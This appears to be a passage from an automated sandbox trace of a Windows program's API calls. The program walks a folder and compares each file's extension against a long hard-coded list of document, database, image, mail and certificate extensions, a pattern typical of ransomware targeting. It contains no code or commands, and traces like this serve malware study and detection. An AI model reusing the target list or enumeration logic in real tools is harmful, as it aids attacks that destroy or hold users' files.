lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0081.564] lstrlenW (lpString=".dt") returned 3 [0081.564] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0081.564] lstrlenW (lpString=".dtd") returned 4 [0081.564] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0081.564] lstrlenW (lpString=".dwg") returned 4 [0081.564] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0081.564] lstrlenW (lpString=".dwt") returned 4 [0081.564] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0081.564] lstrlenW (lpString=".dx") returned 3 [0081.565] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0081.565] lstrlenW (lpString=".dxf") returned 4 [0081.565] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0081.565] lstrlenW (lpString=".edml") returned 5 [0081.565] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0081.565] lstrlenW (lpString=".efd") returned 4 [0081.565] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0081.565] lstrlenW (lpString=".elf") returned 4 [0081.565] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0081.565] lstrlenW (lpString=".emf") returned 4 [0081.565] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0081.565] lstrlenW (lpString=".emz") returned 4 [0081.565] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0081.565] lstrlenW (lpString=".epf") returned 4 [0081.565] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0081.565] lstrlenW (lpString=".eps") returned 4 [0081.565] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0081.565] lstrlenW (lpString=".epsf") returned 5 [0081.565] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0081.565] lstrlenW (lpString=".epsp") returned 5 [0081.565] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0081.565] lstrlenW (lpString=".erf") returned 4 [0081.565] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0081.565] lstrlenW (lpString=".exr") returned 4 [0081.565] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0081.565] lstrlenW (lpString=".f4v") returned 4 [0081.565] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0081.566] lstrlenW (lpString=".fido") returned 5 [0081.566] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0081.566] lstrlenW (lpString=".flm") returned 4 [0081.566] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0081.566] lstrlenW (lpString=".flv") returned 4 [0081.566] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0081.566] lstrlenW (lpString=".frm") returned 4 [0081.566] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0081.566] lstrlenW (lpString=".fxg") returned 4 [0081.566] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0081.566] lstrlenW (lpString=".geo") returned 4 [0081.566] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0081.566] lstrlenW (lpString=".gif") returned 4 [0081.566] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0081.566] lstrlenW (lpString=".grs") returned 4 [0081.566] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0081.566] lstrlenW (lpString=".gz") returned 3 [0081.566] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0081.566] lstrlenW (lpString=".h") returned 2 [0081.566] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0081.566] lstrlenW (lpString=".hdr") returned 4 [0081.566] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0081.566] lstrlenW (lpString=".hpp") returned 4 [0081.566] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0081.566] lstrlenW (lpString=".hta") returned 4 [0081.566] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0081.566] lstrlenW (lpString=".htc") returned 4 [0081.566] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0081.567] lstrlenW (lpString=".htm") returned 4 [0081.567] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0081.567] lstrlenW (lpString=".html") returned 5 [0081.567] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0081.567] lstrlenW (lpString=".icb") returned 4 [0081.567] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0081.567] lstrlenW (lpString=".ics") returned 4 [0081.567] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0081.567] lstrlenW (lpString=".iff") returned 4 [0081.567] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0081.567] lstrlenW (lpString=".inc") returned 4 [0081.567] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0081.567] lstrlenW (lpString=".indd") returned 5 [0081.567] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0081.567] lstrlenW (lpString=".ini") returned 4 [0081.567] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0081.567] lstrlenW (lpString=".iqy") returned 4 [0081.567] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0081.567] lstrlenW (lpString=".j2c") returned 4 [0081.567] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0081.568] lstrlenW (lpString=".j2k") returned 4 [0081.568] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0081.568] lstrlenW (lpString=".java") returned 5 [0081.568] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0081.568] lstrlenW (lpString=".jp2") returned 4 [0081.568] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0081.568] lstrlenW (lpString=".jpc") returned 4 [0081.568] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0081.568] lstrlenW (lpString=".jpe") returned 4 [0081.568] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0081.568] lstrlenW (lpString=".jpeg") returned 5 [0081.568] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0081.568] lstrlenW (lpString=".jpf") returned 4 [0081.568] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0081.568] lstrlenW (lpString=".jpg") returned 4 [0081.568] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0081.568] lstrlenW (lpString=".jpx") returned 4 [0081.568] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0081.568] lstrlenW (lpString=".js") returned 3 [0081.568] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0081.568] lstrlenW (lpString=".jsf") returned 4 [0081.568] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0081.568] lstrlenW (lpString=".json") returned 5 [0081.568] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0081.568] lstrlenW (lpString=".jsp") returned 4 [0081.568] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0081.568] lstrlenW (lpString=".kdc") returned 4 [0081.568] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".kmz") returned 4 [0081.569] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".kwm") returned 4 [0081.569] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".lasso") returned 6 [0081.569] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0081.569] lstrlenW (lpString=".lbi") returned 4 [0081.569] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".lgf") returned 4 [0081.569] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".lgp") returned 4 [0081.569] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".log") returned 4 [0081.569] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".m1v") returned 4 [0081.569] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".m4a") returned 4 [0081.569] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".m4v") returned 4 [0081.569] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".max") returned 4 [0081.569] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".md") returned 3 [0081.569] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0081.569] lstrlenW (lpString=".mda") returned 4 [0081.569] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0081.569] lstrlenW (lpString=".mdb") returned 4 [0081.569] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mde") returned 4 [0081.570] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mdf") returned 4 [0081.570] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mdw") returned 4 [0081.570] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mef") returned 4 [0081.570] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mft") returned 4 [0081.570] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mfw") returned 4 [0081.570] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mht") returned 4 [0081.570] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mhtml") returned 6 [0081.570] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0081.570] lstrlenW (lpString=".mka") returned 4 [0081.570] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mkidx") returned 6 [0081.570] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0081.570] lstrlenW (lpString=".mkv") returned 4 [0081.570] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mos") returned 4 [0081.570] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mov") returned 4 [0081.570] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0081.570] lstrlenW (lpString=".mp3") returned 4 [0081.570] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".mp4") returned 4 [0081.571] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".mpeg") returned 5 [0081.571] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0081.571] lstrlenW (lpString=".mpg") returned 4 [0081.571] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".mpv") returned 4 [0081.571] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".mrw") returned 4 [0081.571] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".msg") returned 4 [0081.571] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".mxl") returned 4 [0081.571] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".myd") returned 4 [0081.571] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".myi") returned 4 [0081.571] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".nef") returned 4 [0081.571] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".nrw") returned 4 [0081.571] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".obj") returned 4 [0081.571] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".odb") returned 4 [0081.571] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0081.571] lstrlenW (lpString=".odc") returned 4 [0081.571] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".odm") returned 4 [0081.572] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".odp") returned 4 [0081.572] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".ods") returned 4 [0081.572] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".oft") returned 4 [0081.572] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".one") returned 4 [0081.572] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".onepkg") returned 7 [0081.572] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0081.572] lstrlenW (lpString=".onetoc2") returned 8 [0081.572] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0081.572] lstrlenW (lpString=".opt") returned 4 [0081.572] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".oqy") returned 4 [0081.572] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".orf") returned 4 [0081.572] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".p12") returned 4 [0081.572] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".p7b") returned 4 [0081.572] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".p7c") returned 4 [0081.572] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0081.572] lstrlenW (lpString=".pam") returned 4 [0081.572] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pbm") returned 4 [0081.573] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pct") returned 4 [0081.573] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pcx") returned 4 [0081.573] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pdd") returned 4 [0081.573] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pdf") returned 4 [0081.573] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pdp") returned 4 [0081.573] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pef") returned 4 [0081.573] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pem") returned 4 [0081.573] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pff") returned 4 [0081.573] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pfm") returned 4 [0081.573] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pfx") returned 4 [0081.573] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".pgm") returned 4 [0081.573] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".php") returned 4 [0081.573] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0081.573] lstrlenW (lpString=".php3") returned 5 [0081.573] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0081.573] lstrlenW (lpString=".php4") returned 5 [0081.574] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0081.574] lstrlenW (lpString=".php5") returned 5 [0081.574] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0081.574] lstrlenW (lpString=".phtml") returned 6 [0081.574] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0081.574] lstrlenW (lpString=".pict") returned 5 [0081.574] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0081.574] lstrlenW (lpString=".pl") returned 3 [0081.574] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0081.574] lstrlenW (lpString=".pls") returned 4 [0081.574] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0081.574] lstrlenW (lpString=".pm") returned 3 [0081.574] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0081.574] lstrlenW (lpString=".png") returned 4 [0081.574] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0081.574] lstrlenW (lpString=".pnm") returned 4 [0081.574] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0081.574] lstrlenW (lpString=".pot") returned 4 [0081.574] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0081.574] lstrlenW (lpString=".potm") returned 5 [0081.574] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0081.574] lstrlenW (lpString=".potx") returned 5 [0081.574] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0081.574] lstrlenW (lpString=".ppa") returned 4 [0081.574] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0081.574] lstrlenW (lpString=".ppam") returned 5 [0081.575] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0081.575] lstrlenW (lpString=".ppm") returned 4 [0081.575] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0081.575] lstrlenW (lpString=".pps") returned 4 [0081.575] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0081.575] lstrlenW (lpString=".ppsm") returned 5 [0081.575] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0081.576] lstrlenW (lpString=".ppt") returned 4 [0081.576] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0081.576] lstrlenW (lpString=".pptm") returned 5 [0081.576] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0081.576] lstrlenW (lpString=".pptx") returned 5 [0081.576] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0081.576] lstrlenW (lpString=".prn") returned 4 [0081.576] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0081.576] lstrlenW (lpString=".ps") returned 3 [0081.576] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0081.576] lstrlenW (lpString=".psb") returned 4 [0081.576] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0081.577] lstrlenW (lpString=".psd") returned 4 [0081.577] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0081.577] lstrlenW (lpString=".pst") returned 4 [0081.577] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0081.577] lstrlenW (lpString=".ptx") returned 4 [0081.577] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0081.577] lstrlenW (lpString=".pub") returned 4 [0081.577] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0081.577] lstrlenW (lpString=".pwm") returned 4 [0081.577] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0081.577] lstrlenW (lpString=".pxr") returned 4 [0081.577] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0081.577] lstrlenW (lpString=".py") returned 3 [0081.577] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0081.577] lstrlenW (lpString=".qt") returned 3 [0081.577] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0081.577] lstrlenW (lpString=".r3d") returned 4 [0081.577] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0081.577] lstrlenW (lpString=".raf") returned 4 [0081.577] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0081.577] lstrlenW (lpString=".rar") returned 4 [0081.577] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0081.577] FindNextFileW (in: hFindFile=0x4260210, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0081.578] FindNextFileW (in: hFindFile=0x4260210, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0081.578] FindNextFileW (in: hFindFile=0x4260210, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0081.578] FindClose (in: hFindFile=0x4260210 | out: hFindFile=0x4260210) returned 1 [0081.578] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0081.578] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0081.578] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0081.578] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032") returned 26 [0081.578] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260610 [0081.579] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.579] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0081.579] lstrlenW (lpString="eula.rtf") returned 8 [0081.579] lstrlenW (lpString=".1cd") returned 4 [0081.579] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0081.579] lstrlenW (lpString=".3ds") returned 4 [0081.579] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0081.579] lstrlenW (lpString=".3fr") returned 4 [0081.580] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0081.580] lstrlenW (lpString=".3g2") returned 4 [0081.580] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0081.580] lstrlenW (lpString=".3gp") returned 4 [0081.580] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0081.580] lstrlenW (lpString=".7z") returned 3 [0081.580] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0081.580] lstrlenW (lpString=".accda") returned 6 [0081.580] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0081.580] lstrlenW (lpString=".accdb") returned 6 [0081.580] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0081.580] lstrlenW (lpString=".accdc") returned 6 [0081.580] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0081.580] lstrlenW (lpString=".accde") returned 6 [0081.580] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0081.580] lstrlenW (lpString=".accdt") returned 6 [0081.580] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0081.580] lstrlenW (lpString=".accdw") returned 6 [0081.580] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0081.580] lstrlenW (lpString=".adb") returned 4 [0081.580] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0081.580] lstrlenW (lpString=".adp") returned 4 [0081.580] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0081.580] lstrlenW (lpString=".ai") returned 3 [0081.580] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0081.580] lstrlenW (lpString=".ai3") returned 4 [0081.580] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0081.580] lstrlenW (lpString=".ai4") returned 4 [0081.581] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0081.581] lstrlenW (lpString=".ai5") returned 4 [0081.581] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0081.581] lstrlenW (lpString=".ai6") returned 4 [0081.581] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0081.581] lstrlenW (lpString=".ai7") returned 4 [0082.205] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0082.205] lstrlenW (lpString=".ai8") returned 4 [0082.205] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0082.205] lstrlenW (lpString=".anim") returned 5 [0082.205] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0082.205] lstrlenW (lpString=".arw") returned 4 [0082.205] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0082.205] lstrlenW (lpString=".as") returned 3 [0082.205] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0082.206] lstrlenW (lpString=".asa") returned 4 [0082.206] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0082.206] lstrlenW (lpString=".asc") returned 4 [0082.206] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0082.206] lstrlenW (lpString=".ascx") returned 5 [0082.206] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0082.206] lstrlenW (lpString=".asm") returned 4 [0082.206] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0082.206] lstrlenW (lpString=".asmx") returned 5 [0082.206] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") 